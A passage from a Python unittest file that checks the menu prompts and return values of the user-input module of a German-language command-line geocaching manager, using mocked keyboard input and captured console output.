out.getvalue() # save value of out in output self.assertEqual(output, "Flag Turkey: {}\n".format("\u001a")) class TestGeneralInput(unittest.TestCase): def test_normaltext(self): with mock.patch('builtins.input', return_value="hello"): self.assertEqual(user_io.general_input(">> "), 'hello') def test_textwithcapitalsandnumbers(self): with mock.patch('builtins.input', return_value="hEllo2"): self.assertEqual(user_io.general_input(">> "), 'hEllo2') def test_replacable_signs(self): with mock.patch('builtins.input', return_value="hello {}".format("\u263a")): self.assertEqual(user_io.general_input(">> "), "hello {}".format("\u263a")) def test_umlauts(self): with mock.patch('builtins.input', return_value="m{}rchen".format("\u00E4")): self.assertEqual(user_io.general_input(">> "), "m{}rchen".format("\u00E4")) def test_unknown_signs(self): with mock.patch('builtins.input', return_value="Flag Turkey: {}".format("\u262a")): self.assertEqual(user_io.general_input(">> "), "Flag Turkey: {}".format("\u262a")) def test_number(self): with mock.patch('builtins.input', return_value="42"): self.assertEqual(user_io.general_input(">> "), "42") class TestShowMainMenu(unittest.TestCase): def test_nofoundexists(self): out = StringIO() sys.stdout = out # capture print output in out user_io.show_main_menu(False) # fill out output = out.getvalue() # save value of out in output expected = "\nWas moechtest du als naechstes tun?\n" expected += "1: Geocaches aktualisieren\n" expected += "2: Alle auf dem Geraet gespeicherten Geocaches sortieren und anzeigen\n" expected += "3: Wegpunkt-Menue\n" expected += "4: Karten-Menue\n" expected += "5: Beschreibung fuer einen bestimmten Cache anzeigen (GC-Code erforderlich)\n" expected += "6: Geocaches durchsuchen\n" expected += "7: Programm verlassen\n" self.assertEqual(output, expected) def test_foundexists(self): out = StringIO() sys.stdout = out # capture print output in out user_io.show_main_menu(True) # fill out output = out.getvalue() # save value of out in output expected = "\nWas moechtest du als naechstes tun?\n" expected += "1: Geocaches aktualisieren\n" expected += "2: Alle auf dem Geraet gespeicherten Geocaches sortieren und anzeigen\n" expected += "3: Wegpunkt-Menue\n" expected += "4: Karten-Menue\n" expected += "5: Beschreibung fuer einen bestimmten Cache anzeigen (GC-Code erforderlich)\n" expected += "6: Geocaches durchsuchen\n" expected += "7: Alle gefundenen Caches anzeigen\n" expected += "8: Programm verlassen\n" self.assertEqual(output, expected) class TestMainMenu(unittest.TestCase): def test_1_nofoundexists(self): with mock.patch('builtins.input', return_value="1"): self.assertEqual(user_io.main_menu(False), 'update') def test_2_nofoundexists(self): with mock.patch('builtins.input', return_value="2"): self.assertEqual(user_io.main_menu(False), 'show_all') def test_3_nofoundexists(self): with mock.patch('builtins.input', return_value="3"): self.assertEqual(user_io.main_menu(False), 'show_waypoints') def test_4_nofoundexists(self): with mock.patch('builtins.input', return_value="4"): self.assertEqual(user_io.main_menu(False), 'map-menu') def test_5_nofoundexists(self): with mock.patch('builtins.input', return_value="5"): self.assertEqual(user_io.main_menu(False), 'show_one') def test_6_nofoundexists(self): with mock.patch('builtins.input', return_value="6"): self.assertEqual(user_io.main_menu(False), 'search') def test_7_nofoundexists(self): with mock.patch('builtins.input', return_value="7"): self.assertEqual(user_io.main_menu(False), 'exit') def test_11_nofoundexists(self): with mock.patch('builtins.input', return_value="11"): self.assertEqual(user_io.main_menu(False), None) def test_1_foundexists(self): with mock.patch('builtins.input', return_value="1"): self.assertEqual(user_io.main_menu(True), 'update') def test_2_foundexists(self): with mock.patch('builtins.input', return_value="2"): self.assertEqual(user_io.main_menu(True), 'show_all') def test_3_foundexists(self): with mock.patch('builtins.input', return_value="3"): self.assertEqual(user_io.main_menu(False), 'show_waypoints') def test_4_foundexists(self): with mock.patch('builtins.input', return_value="4"): self.assertEqual(user_io.main_menu(True), 'map-menu') def test_5_foundexists(self): with mock.patch('builtins.input', return_value="5"): self.assertEqual(user_io.main_menu(True), 'show_one') def test_6_foundexists(self): with mock.patch('builtins.input', return_value="6"): self.assertEqual(user_io.main_menu(True), 'search') def test_7_foundexists(self): with mock.patch('builtins.input', return_value="7"): self.assertEqual(user_io.main_menu(True), 'show_founds') def test_8_foundexists(self): with mock.patch('builtins.input', return_value="8"): self.assertEqual(user_io.main_menu(True), 'exit') class TestMapMenu(unittest.TestCase): def test_output(self): with mock.patch('builtins.input', return_value="any bullshit"): out = StringIO() sys.stdout = out # capture print output in out user_io.map_menu() # fill out output = out.getvalue() # save value of out in output expected = "\nWas moechtest du als naechstes tun?\n" expected += "1: Alle auf dem Geraet gespeicherten Geocaches auf Karte zeigen (INTERNET!!!)\n" expected += "2: https://www.geocaching.com/map aufrufen (INTERNET!!!)\n" expected += "3: https://www.google.de/maps aufrufen (INTERNET!!!)\n" self.assertEqual(output, expected) def test_1(self): with mock.patch('builtins.input', return_value="1"): self.assertEqual(user_io.map_menu(), 'show_on_map') def test_2(self): with mock.patch('builtins.input', return_value="2"): self.assertEqual(user_io.map_menu(), 'gc-maps') def test_3(self): with mock.patch('builtins.input', return_value="3"): self.assertEqual(user_io.map_menu(), 'google-maps') def test_bullshit(self): with mock.patch('builtins.input', return_value="blub"): self.assertIsNone(user_io.map_menu()) class TestSortCaches(unittest.TestCase): def test_gccode(self): with mock.patch('builtins.input', side_effect=['1', '1']): self.assertEqual(user_io.sort_caches(), ["gccode", False]) def test_name(self): with mock.patch('builtins.input', side_effect=['2', '1']): self.assertEqual(user_io.sort_caches(), ["name", False]) def test_type(self): with mock.patch('builtins.input', side_effect=['3', '1']): self.assertEqual(user_io.sort_caches(), ["type", False]) def test_difficulty(self): with mock.patch('builtins.input', side_effect=['4', '1']): self.assertEqual(user_io.sort_caches(), ["difficulty", False]) def test_terrain(self): with mock.patch('builtins.input', side_effect=['5', '1']): self.assertEqual(user_io.sort_caches(), ["terrain", False]) def test_size(self): with mock.patch('builtins.input', side_effect=['6', '1']): self.assertEqual(user_io.sort_caches(), ["size", False]) def test_downloaddate(self): with mock.patch('builtins.input', side_effect=['7', '1']): self.assertEqual(user_io.sort_caches(), ["downloaddate", False]) def test_available(self): with mock.patch('builtins.input', side_effect=['8', '1']): self.assertEqual(user_io.sort_caches(), ["available", False]) def test_distance(self): with mock.patch('builtins.input', side_effect=['9', '1']): self.assertEqual(user_io.sort_caches(), ["distance", False]) def test_gccode_backwards(self): with mock.patch('builtins.input', side_effect=['1', '2']): self.assertEqual(user_io.sort_caches(), ["gccode", True]) def test_name_backwards(self): with mock.patch('builtins.input', side_effect=['2', '2']): self.assertEqual(user_io.sort_caches(), ["name", True]) def test_type_backwards(self): with mock.patch('builtins.input', side_effect=['3', '2']): self.assertEqual(user_io.sort_caches(), ["type", True]) def test_difficulty_backwards(self): with mock.patch('builtins.input', side_effect=['4', '2']): self.assertEqual(user_io.sort_caches(), ["difficulty", True]) def test_terrain_backwards(self): with mock.patch('builtins.input', side_effect=['5', '2']): self.assertEqual(user_io.sort_caches(), ["terrain", True]) def test_size_backwards(self): with mock.patch('builtins.input', side_effect=['6', '2']): self.assertEqual(user_io.sort_caches(), ["size", True]) def test_downloaddate_backwards(self): with mock.patch('builtins.input', side_effect=['7', '2']): self.assertEqual(user_io.sort_caches(), ["downloaddate", True]) def test_available_backwards(self): with mock.patch('builtins.input', side_effect=['8', '2']): self.assertEqual(user_io.sort_caches(), ["available", True]) def test_distance_backwards(self): with mock.patch('builtins.input', side_effect=['9', '2']): self.assertEqual(user_io.sort_caches(), ["distance", True]) def test_criterion0(self): with mock.patch('builtins.input', side_effect=['0', '2']): self.assertEqual(user_io.sort_caches(), ["gccode", True]) def test_criterion_invalid(self): with mock.patch('builtins.input', side_effect=['bla', '1']): self.assertEqual(user_io.sort_caches(), ["gccode", False]) def test_revert_invalid(self): with mock.patch('builtins.input', side_effect=['1', '0']): self.assertEqual(user_io.sort_caches(), ["gccode", False]) def test_output_normal(self): with mock.patch('builtins.input', side_effect=['3', '2']): out = StringIO() sys.stdout = out user_io.sort_caches() output = out.getvalue() expected = "\nWonach sollen die Geocaches sortiert werden?\n" expected += "1: GC-Code\n" expected += "2: Name\n" expected += "3: Cache-Typ\n" expected += "4: D-Wertung\n" expected += "5: T-Wertung\n" expected += "6: Groesse\n" expected += "7: Download-Datum\n" expected += "8: Verfuegbarkeit\n" expected += "9: Abstand von einer bestimmten Position (Koordinaten erforderlich)\n" expected += "In welche Richtung sollen die Caches sortiert werden?\n" expected += "1: aufsteigend\n" expected += "2: absteigend\n" self.assertEqual(output, expected) def test_output_criterion_invalid(self): with mock.patch('builtins.input', side_effect=['0', '2']): out = StringIO() sys.stdout = out user_io.sort_caches() output = out.getvalue() expected = "\nWonach sollen die Geocaches sortiert werden?\n" expected += "1: GC-Code\n" expected += "2: Name\n" expected += "3: Cache-Typ\n" expected += "4: D-Wertung\n" expected += "5: T-Wertung\n" expected += "6: Groesse\n" expected += "7: Download-Datum\n" expected += "8: Verfuegbarkeit\n" expected += "9: Abstand von einer bestimmten Position (Koordinaten erforderlich)\n" expected += "Ungueltige Eingabe: Sortierung erfolgt nach GC-Code\n" expected += "In welche Richtung sollen die Caches sortiert werden?\n" expected += "1: aufsteigend\n" expected += "2: absteigend\n" self.assertEqual(output, expected) class TestSearch(unittest.TestCase): def test_name(self): with mock.patch('builtins.input', return_value="1"): self.assertEqual(user_io.search(), "name") def test_description(self): with mock.patch('builtins.input', return_value="2"): self.assertEqual(user_io.search(), "description") def test_type(self): with mock.patch('builtins.input', return_value="3"): self.assertEqual(user_io.search(), "type") def test_difficulty(self): with mock.patch('builtins.input', return_value="4"): self.assertEqual(user_io.search(), "difficulty") def test_terrain(self): with mock.patch('builtins.input', return_value="5"): self.assertEqual(user_io.search(), "terrain") def test_size(self): with mock.patch('builtins.input', return_value="6"): self.assertEqual(user_io.search(), "size") def test_downloaddate(self): with mock.patch('builtins.input', return_value="7"): self.assertEqual(user_io.search(), "downloaddate") def test_available(self): with mock.patch('builtins.input', return_value="8"): self.assertEqual(user_io.search(), "available") def test_attribute(self): with mock.patch('builtins.input', return_value="9"): self.assertEqual(user_io.search(), "attribute") def test_distance(self): with mock.patch('builtins.input', return_value="10"): self.assertEqual(user_io.search(), "distance") def test_0(self): with mock.patch('builtins.input', return_value="0"): self.assertEqual(user_io.search(), None) def test_invalid(self): with mock.patch('builtins.input', return_value="bla"): self.assertEqual(user_io.search(), None) def test_output_normal(self): with mock.patch('builtins.input', return_value="2"): out = StringIO() sys.stdout = out user_io.search() output = out.getvalue() expected = "\nWonach willst du suchen?\n" expected += "1: Name\n" expected += "2: Beschreibung\n" expected += "3: Cache-Typ\n" expected += "4: D-Wertung\n" expected += "5: T-Wertung\n" expected += "6: Groesse\n" expected += "7: Download-Datum\n" expected += "8: Verfuegbarkeit\n" expected += "9: Attribut\n" expected += "10: Abstand von einer bestimmten Position (Koordinaten erforderlich)\n" self.assertEqual(output, expected) def test_output_invalid(self): with mock.patch('builtins.input', return_value="bla"): out = StringIO() sys.stdout = out user_io.search() output = out.getvalue() expected = "\nWonach willst du suchen?\n" expected += "1: Name\n" expected += "2: Beschreibung\n" expected += "3: Cache-Typ\n" expected += "4: D-Wertung\n" expected += "5: T-Wertung\n" expected += "6: Groesse\n" expected += "7: Download-Datum\n" expected += "8: Verfuegbarkeit\n" expected += "9: Attribut\n" expected += "10: Abstand von einer bestimmten Position (Koordinaten erforderlich)\n" expected += "Ungueltige Eingabe\n" self.assertEqual(output, expected) class TestSearchType(unittest.TestCase): def test_return(self): with mock.patch('builtins.input', return_value="Traditional Cache"): self.assertEqual(user_io.search_type(), "Traditional Cache") def test_output(self): with mock.patch('builtins.input', return_value="any_nonsense"): out = StringIO() sys.stdout = out user_io.search_type() output = out.getvalue() expected = "Gib den Cachetyp ein, nach dem du suchen willst.\n" expected += "Moegliche Typen: Traditional Cache, Multi-cache, Mystery Cache, EarthCache, " expected += "Letterbox Hybrid, Event Cache, Wherigo Cache, Geocaching HQ, Unknown Type\n" expected += "Achtung! Gross- und Kleinschreibung beachten!\n" self.assertEqual(output, expected) class TestSearchAttribute(unittest.TestCase): def test_return(self): with mock.patch('builtins.input', return_value="does not need to be an attr"): self.assertEqual(user_io.search_attribute(["attr1", "attr2"]), "does not need to be an attr") def test_output(self): with mock.patch('builtins.input', return_value="any_nonsense"): out = StringIO() sys.stdout = out user_io.search_attribute(["attr1", "attr2"]) output = out.getvalue() expected = "Gib das Attribut ein, nach dem du suchen willst.\n" expected += "Moegliche Attribute: attr1, attr2\n" self.assertEqual(output, expected) class TestActionsAfterSearch(unittest.TestCase): def test_1(self): with mock.patch('builtins.input', return_value="1"): self.assertEqual(user_io.actions_after_search(), "show_again") def test_2(self): with mock.patch('builtins.input', return_value="2"): self.assertEqual(user_io.actions_after_search(), "delete") def test_3(self): with mock.patch('builtins.input', return_value="3"): self.assertEqual(user_io.actions_after_search(), "show_on_map") def test_4(self): with mock.patch('builtins.input', return_value="4"): self.assertEqual(user_io.actions_after_search(), "show_one") def test_5(self): with mock.patch('builtins.input', return_value="5"): self.assertEqual(user_io.actions_after_search(), "back") def test_other(self): with mock.patch('builtins.input', return_value="0"): self.assertEqual(user_io.actions_after_search(), None) def test_output(self): with mock.patch('builtins.input', return_value="1"): out = StringIO() sys.stdout = out user_io.actions_after_search() output = out.getvalue() expected = "\nWas moechtest du als naechstes tun?\n" expected += "1: Alle Suchergebnisse erneut anzeigen (bei evtl. Loeschen nicht aktualisiert)\n" expected += "2: Alle Suchergebnisse loeschen\n" expected += "3: Alle Suchergebnisse auf Karte zeigen (INTERNET!!!)\n" expected += "4: Beschreibung fuer eines der Suchergebnisse anzeigen\n" expected += "5: zurueck\n" self.assertEqual(output, expected) def test_output_invalid_input(self): with mock.patch('builtins.input', return_value="bla"): out = StringIO() sys.stdout = out user_io.actions_after_search() output = out.getvalue() expected = "\nWas moechtest du als naechstes tun?\n" expected += "1: Alle Suchergebnisse erneut anzeigen (bei evtl. Loeschen nicht aktualisiert)\n" expected += "2: Alle Suchergebnisse loeschen\n" expected += "3: Alle Suchergebnisse auf Karte zeigen (INTERNET!!!)\n" expected += "4: Beschreibung fuer eines der Suchergebnisse anzeigen\n" expected += "5: zurueck\n" expected += "Ungueltige Eingabe\n" self.assertEqual(output, expected) class TestActionsWithFounds(unittest.TestCase): def test_1(self): with mock.patch('builtins.input', return_value="1"): self.assertEqual(user_io.actions_with_founds(), "log") def test_2(self): with mock.patch('builtins.input', return_value="2"): self.assertEqual(user_io.actions_with_founds(), "delete") def test_3(self): with mock.patch('builtins.input', return_value="3"): self.assertEqual(user_io.actions_with_founds(), "exit") def test_other(self): with mock.patch('builtins.input', return_value="0"): self.assertEqual(user_io.actions_after_search(), None) def test_output(self): with mock.patch('builtins.input', return_value="3"): out = StringIO() sys.stdout = out user_io.actions_with_founds() output = out.getvalue() expected = "\nWas moechtest du als naechstes tun?\n" expected += "1: Gefundene Caches auf geocaching.com loggen " expected += "(ueber den Upload von drafts / fieldnotes, INTERNET!!!)\n" expected += "2: Alle gefundenen Caches loeschen\n" expected += "3: zurueck\n" self.assertEqual(output, expected) class TestConfirmDeletion(unittest.TestCase): def test_yes(self): with mock.patch('builtins.input', return_value="y"): self.assertEqual(user_io.confirm_deletion(), True) def test_no(self): with mock.patch('builtins.input', return_value="n"): self.assertEqual(user_io.confirm_deletion(), False) def test_nonsense(self): with mock.patch('builtins.input', return_value="any_nonsense"): self.assertEqual(user_io.confirm_deletion(), False) class TestWaypointMenu(unittest.TestCase): def test_output_no_waypoints(self): with mock.patch('builtins.input', return_value="any bullshit"): out = StringIO() sys.stdout = out # capture print output in out user_io.waypoint_menu(False) # fill out output = out.getvalue() # save value of out in output expected = "\nWas moechtest du als naechstes tun?\n" expected += "1: Wegpunkte hinzufuegen\n" expected += "2: nichts\n" self.assertEqual(output, expected) def test_output_waypoints(self): with mock.patch('builtins.input', return_value="any bullshit"): out = StringIO() sys.stdout = out # capture print output in out user_io.waypoint_menu(True) # fill out output = out.getvalue() # save value of out in output expected = "\nWas moechtest du als naechstes tun?\n" expected += "1: Wegpunkte hinzufuegen\n" expected += "2: Wegpunkte zu Geocaches zuordnen oder loeschen\n" expected += "3: nichts\n" self.assertEqual(output, expected) def test_no_waypoints_1(self): with mock.patch('builtins.input', return_value="1"): self.assertEqual(user_io.waypoint_menu(False), 'add') def test_no_waypoints_2(self): with mock.patch('builtins.input', return_value="2"): self.assertEqual(user_io.waypoint_menu(False), 'continue') def test_no_waypoints_shit(self): with mock.patch('builtins.input', return_value="shit"): self.assertEqual(user_io.waypoint_menu(False), 'continue') def test_waypoints_1(self): with mock.patch('builtins.input', return_value="1"): self.assertEqual(user_io.waypoint_menu(True), 'add') def test_waypoints_2(self): with mock.patch('builtins.input', return_value="2"): self.assertEqual(user_io.waypoint_menu(True), 'assign') def test_no_waypoints_3(self): with mock.patch('builtins.input', return_value="3"): self.assertEqual(user_io.waypoint_menu(True), 'continue') class TestChooseCache(unittest.TestCase): def test_bullshit_suggestions_give_error(self): self.assertRaises(TypeError, user_io.choose_cache, "bla", False) def test_no_suggestions_no_more_options_output(self): with mock.patch('builtins.input', return_value="any bullshit"): out = StringIO() sys.stdout = out # capture print output in out user_io.choose_cache([], False) # fill out output = out.getvalue() # save value of out in output expected = "Keine Vorschlaege vorhanden. Was nun?\n" expected += "1: zu anderem Geocache zuordnen (GC-Code erforderlich)\n" expected += "2: Wegpunkt doch nicht zuordnen\n" self.assertEqual(output, expected) def test_no_suggestions_more_options_output(self): with mock.patch('builtins.input', return_value="any bullshit"): out = StringIO() sys.stdout = out # capture print output in out user_io.choose_cache([], True) # fill out output = out.getvalue() # save value of out in output expected = "Keine Vorschlaege vorhanden. Was nun?\n" expected += "1: zu anderem Geocache zuordnen (GC-Code erforderlich)\n" expected += "2: Wegpunkt loeschen\n" expected += "3: nichts tun\n" self.assertEqual(output, expected) def test_no_suggestions_no_more_options_1(self): with mock.patch('builtins.input', return_value="1"): self.assertEqual(user_io.choose_cache([], False), 'other') def test_no_suggestions_no_more_options_2(self): with mock.patch('builtins.input', return_value="2"): self.assertEqual(user_io.choose_cache([], False), 'continue') def test_no_suggestions_no_more_options_3(self): with mock.patch('builtins.input', return_value="3"): self.assertEqual(user_io.choose_cache([], False), 'continue') def test_no_suggestions_more_options_1(self): with mock.patch('builtins.input', return_value="1"): self.assertEqual(user_io.choose_cache([], True), 'other') def test_no_suggestions_more_options_2(self): with mock.patch('builtins.input', return_value="2"): self.assertEqual(user_io.choose_cache([], True), 'delete') def test_no_suggestions_more_options_3(self): with mock.patch('builtins.input', return_value="3"): self.assertEqual(user_io.choose_cache([], True), 'continue') def test_suggestions_no_more_options_output(self): gc1 = geocache.Geocache(r"../tests/examples/GC78K5W.gpx") gc2 = geocache.Geocache(r"../tests/examples/GC6K86W.gpx") gc3 = geocache.Geocache(r"../tests/examples/GC6RNTX.gpx") with mock.patch('builtins.input', return_value="any bullshit"): out = StringIO() sys.stdout = out # capture print output in out user_io.choose_cache([gc1, gc2, gc3], False) # fill out output = out.getvalue() # save value of out in output expected = "Zu welchem der folgenden Caches moechtest du den Wegpunkt zuordnen?\n" expected += "1: Cachertreffen Würzburg, die 54ste (GC78K5W)\n" expected += "2: Saaletalblick (GC6K86W)\n" expected += "3: Hochschule für Musik 1 (GC6RNTX)\n" expected += "4: zu anderem Geocache zuordnen (GC-Code erforderlich)\n" expected += "5: Wegpunkt doch nicht zuordnen\n" self.assertEqual(output, expected) def test_suggestions_more_options_output(self): gc1 = geocache.Geocache(r"../tests/examples/GC78K5W.gpx") gc2 = geocache.Geocache(r"../tests/examples/GC6K86W.gpx") gc3 = geocache.Geocache(r"../tests/examples/GC6RNTX.gpx") with mock.patch('builtins.input', return_value="any bullshit"): out = StringIO() sys.stdout = out # capture print output in out user_io.choose_cache([gc1, gc2, gc3], True) # fill out output = out.getvalue() # save value of out in output expected = "Zu welchem der folgenden Caches moechtest du den Wegpunkt zuordnen?\n" expected += "1: Cachertreffen Würzburg, die 54ste (GC78K5W)\n" expected += "2: Saaletalblick (GC6K86W)\n" expected += "3: Hochschule für Musik 1 (GC6RNTX)\n" expected += "4: zu anderem Geocache zuordnen (GC-Code erforderlich)\n" expected += "5: Wegpunkt loeschen\n" expected += "6: nichts tun\n" self.assertEqual(output, expected) def test_suggestions_no_more_options_1(self): gc1 = geocache.Geocache(r"../tests/examples/GC78K5W.gpx") gc2 = geocache.Geocache(r"../tests/examples/GC6K86W.gpx") gc3 = geocache.Geocache(r"../tests/examples/GC6RNTX.gpx") with mock.patch('builtins.input', return_value="1"): self.assertEqual(user_io.choose_cache([gc1, gc2, gc3], False), gc1) def test_suggestions_no_more_options_2(self): gc1 = geocache.Geocache(r"../tests/examples/GC78K5W.gpx") gc2 = geocache.Geocache(r"../tests/examples/GC6K86W.gpx") gc3 = geocache.Geocache(r"../tests/examples/GC6RNTX.gpx") with mock.patch('builtins.input', return_value="2"): self.assertEqual(user_io.choose_cache([gc1, gc2, gc3], False), gc2) def test_suggestions_no_more_options_3(self): gc1 = geocache.Geocache(r"../tests/examples/GC78K5W.gpx") gc2 = geocache.Geocache(r"../tests/examples/GC6K86W.gpx") gc3 = geocache.Geocache(r"../tests/examples/GC6RNTX.gpx") with mock.patch('builtins.input', return_value="3"): self.assertEqual(user_io.choose_cache([gc1, gc2, gc3], False), gc3) def test_suggestions_no_more_options_4(self): gc1 = geocache.Geocache(r"../tests/examples/GC78K5W.gpx") gc2 = geocache.Geocache(r"../tests/examples/GC6K86W.gpx") gc3 = geocache.Geocache(r"../tests/examples/GC6RNTX.gpx") with mock.patch('builtins.input', return_value="4"): self.assertEqual(user_io.choose_cache([gc1, gc2, gc3], False), "other") def test_suggestions_no_more_options_5(self): gc1 = geocache.Geocache(r"../tests/examples/GC78K5W.gpx") gc2 = geocache.Geocache(r"../tests/examples/GC6K86W.gpx") gc3 = geocache.Geocache(r"../tests/examples/GC6RNTX.gpx") with mock.patch('builtins.input', return_value="5"): self.assertEqual(user_io.choose_cache([gc1, gc2, gc3], False), "continue") def test_suggestions_no_more_options_6(self): gc1 = geocache.Geocache(r"../tests/examples/GC78K5W.gpx") gc2 = geocache.Geocache(r"../tests/examples/GC6K86W.gpx") gc3 = geocache.Geocache(r"../tests/examples/GC6RNTX.gpx") with mock.patch('builtins.input', return_value="6"): self.assertEqual(user_io.choose_cache([gc1, gc2, gc3], False), "continue") def test_suggestions_more_options_1(self): gc1 = geocache.Geocache(r"../tests/examples/GC78K5W.gpx") gc2 = geocache.Geocache(r"../tests/examples/GC6K86W.gpx") gc3 = geocache.Geocache(r"../tests/examples/GC6RNTX.gpx") with mock.patch('builtins.input', return_value="1"): self.assertEqual(user_io.choose_cache([gc1, gc2, gc3], True), gc1) def test_suggestions_more_options_2(self): gc1 = geocache.Geocache(r"../tests/examples/GC78K5W.gpx") gc2 = geocache.Geocache(r"../tests/examples/GC6K86W.gpx") gc3 = geocache.Geocache(r"../tests/examples/GC6RNTX.gpx") with mock.patch('builtins.input', return_value="2"): self.assertEqual(user_io.choose_cache([gc1, gc2, gc3], True), gc2) def test_suggestions_more_options_3(self): gc1 = geocache.Geocache(r"../tests/examples/GC78K5W.gpx") gc2 = geocache.Geocache(r"../tests/examples/GC6K86W.gpx") gc3 = geocache.Geocache(r"../tests/examples/GC6RNTX.gpx") with mock.patch('builtins.input', return_value="3"): self.assertEqual(user_io.choose_cache([gc1, gc2, gc3], True), gc3) def test_suggestions_more_options_4(self): gc1 = geocache.Geocache(r"../tests/examples/GC78K5W.gpx") gc2 = geocache.Geocache(r"../tests/examples/GC6K86W.gpx") gc3 = geocache.Geocache(r"../tests/examples/GC6RNTX.gpx") with mock.patch('builtins.input', return_value="4"): self.assertEqual(user_io.choose_cache([gc1, gc2, gc3], True), "other") def test_suggestions_more_options_5(self): gc1 = geocache.Geocache(r"../tests/examples/GC78K5W.gpx") gc2 = geocache.Geocache(r"../tests/examples/GC6K86W.gpx") gc3 = geocache.Geocache(r"../tests/examples/GC6RNTX.gpx") with mock.patch('builtins.input', return_value="5"): self.assertEqual(user_io.choose_cache([gc1, gc2, gc3], True), "delete") def test_suggestions_more_options_6(self): gc1 = geocache.Geocache(r"../tests/examples/GC78K5W.gpx") gc2 = geocache.Geocache(r"../tests/examples/GC6K86W.gpx") gc3 = geocache.Geocache(r"../tests/examples/GC6RNTX.gpx") with mock.patch('builtins.input', return_value="6"): self.assertEqual(user_io.choose_cache([gc1, gc2, gc3], True), "continue") class TestShowOne(unittest.TestCase): def test_1_no_waypoints(self): with mock.patch('builtins.input', return_value="1"): self.assertEqual(user_io.show_one(False), "delete") def test_2_no_waypoints(self): with mock.patch('builtins.input', return_value="2"): self.assertEqual(user_io.show_one(False), "gc.com") def test_3_no_waypoints(self): with mock.patch('builtins.input', return_value="3"): self.assertEqual(user_io.show_one(False), "dist") def test_4_no_waypoints(self): with mock.patch('builtins.input', return_value="4"): self.assertEqual(user_io.show_one(False), "gc-map") def test_5_no_waypoints(self): with mock.patch('builtins.input', return_value="5"): self.assertEqual(user_io.show_one(False), "googlemaps") def test_6_no_waypoints(self): with mock.patch('builtins.input', return_value="6"): self.assertEqual(user_io.show_one(False), None) def test_other_no_waypoints(self): with mock.patch('builtins.input', return_value="0"): self.assertEqual(user_io.show_one(False), None) def test_output_no_waypoints(self): with mock.patch('builtins.input', return_value="bla"): out = StringIO() sys.stdout = out user_io.show_one(False) output = out.getvalue() expected = "\nWas moechtest du als naechstes tun?\n" expected += "1: diesen Cache loeschen\n" expected += "2: diesen Cache auf geocaching.com oeffnen (INTERNET!!!)\n" expected += "3: Abstand dieses Caches zu einer bestimmten Position berechnen\n" expected += "4: Position des Caches auf der Karte " expected += "https://www.geocaching.com/map anzeigen (INTERNET!!!)\n" expected += "5: Position des Caches auf der Karte https://www.google.de/maps anzeigen (INTERNET!!!)\n" expected += "6: zurueck\n" self.assertEqual(output, expected) def test_1_waypoints(self): with mock.patch('builtins.input', return_value="1"): self.assertEqual(user_io.show_one(True), "delete") def test_2_waypoints(self): with mock.patch('builtins.input', return_value="2"): self.assertEqual(user_io.show_one(True), "gc.com") def test_3_waypoints(self): with mock.patch('builtins.input', return_value="3"): self.assertEqual(user_io.show_one(True), "dist") def test_4_waypoints(self): with mock.patch('builtins.input', return_value="4"): self.assertEqual(user_io.show_one(True), "gc-map") def test_5_waypoints(self): with mock.patch('builtins.input', return_value="5"): self.assertEqual(user_io.show_one(True), "googlemaps") def test_6_waypoints(self): with mock.patch('builtins.input', return_value="6"): self.assertEqual(user_io.show_one(True), "mapcustomizer") def test_7_waypoints(self): with mock.patch('builtins.input', return_value="7"): self.assertEqual(user_io.show_one(True), None) def test_other_waypoints(self): with mock.patch('builtins.input', return_value="0"): self.assertEqual(user_io.show_one(True), None) def test_output_waypoints(self): with mock.patch('builtins.input', return_value="bla"): out = StringIO() sys.stdout = out user_io.show_one(True) output = out.getvalue() expected = "\nWas moechtest du als naechstes tun?\n" expected += "1: diesen Cache loeschen\n" expected += "2: diesen Cache auf geocaching.com oeffnen (INTERNET!!!)\n" expected += "3: Abstand dieses Caches zu einer bestimmten Position berechnen\n" expected += "4: Position des Caches auf der Karte " expected += "https://www.geocaching.com/map anzeigen (INTERNET!!!)\n" expected += "5: Position des Caches auf der Karte https://www.google.de/maps anzeigen (INTERNET!!!)\n" expected += "6: diesen Cache mit allen Wegpunkten auf Karte zeigen (INTERNET!!!)\n" expected += "7: zurueck\n" self.assertEqual(output, expected) class TestCoordinatesInput(unittest.TestCase): def test_return(self): with mock.patch('builtins.input', return_value="X XX\xb0XX.XXX, X XXX\xb0XX.XXX"): self.assertEqual(user_io.coordinates_input(), "X XX°XX.XXX, X XXX°XX.XXX") def test_output(self): with mock.patch('builtins.input', return_value="any_nonsense"): out = StringIO() sys.stdout = out user_io.coordinates_input() output = out.getvalue() expected = "Gib die Koordinaten ein " expected += "(Format: X XX°XX.XXX, X XXX°XX.XXX oder URL (google maps oder geocaching.com/map))\n" self.assertEqual(output, expected) class TestAskForPath(unittest.TestCase): def test_output(self): with mock.patch('builtins.input', return_value="any_nonsense"): out = StringIO() sys.stdout = out user_io.ask_for_path() output = out.getvalue() expected = "\nGib den Pfad zum GPS-Geraet ein (NICHT zum Unterordner 'GPX').\n" expected += "Falls Standardpfad uebernommen werden soll: keine Eingabe\n" self.assertEqual(output, expected) def test_return(self): with mock.patch('builtins.input', return_value="any_path"): self.assertEqual(user_io.ask_for_path(), "any_path") def test_default_return(self): with mock.patch('builtins.input', return_value=""): self.assertEqual(user_io.ask_for_path(), "default") class TestAskForWaypoints(unittest.TestCase): def test_yes(self): with mock.patch('builtins.input', return_value="y"): self.assertEqual(user_io.ask_for_waypoints(), True) def test_no(self): with mock.patch('builtins.input', return_value="n"): self.assertEqual(user_io.ask_for_waypoints(), False) def test_nonsense(self): with mock.patch('builtins.input', return_value="any_nonsense"): self.assertEqual(user_io.ask_for_waypoints(), False) class TestShowOnMapStart(unittest.TestCase): def test_output_no_waypoints(self): with mock.patch('builtins.input', return_value="any_nonsense"): out = StringIO() sys.stdout = out user_io.show_on_map_start(False, False) output = out.getvalue() expected = "\nNach dem Klicken werden sich mehrere Fenster oeffnen. Eines davon ist der Editor, " expected += "das andere die Seite mapcustomizer.com in deinem Browser.\n" expected += "Um den Cache / die Caches auf der Karte anzuzeigen, " \ "kopiere den vollstaendigen Inhalt der Textdatei " expected += "aus deinem Editor in das Feld 'Bulk Entry' im Browser.\n" expected += "Die Caches werden in folgenden Farben angezeigt:\n" expected += "Gruen: Traditional Cache\n" expected += "Rot: Multi-cache\n" expected += "Blau: Mystery Cache\n" expected += "Braun: EarthCache\n" expected += "Grau: Letterbox, Geocaching HQ\n" expected += "Gelb: Event Cache, Wherigo Cache\n" expected += "Pink: unbekannter Typ\n" expected += "Gib nun den Pfad zu deinem Editor an: (bei Benutzung von Windows sollte das unnoetig sein)\n" self.assertEqual(output, expected) def test_output_all_waypoints(self): with mock.patch('builtins.input', 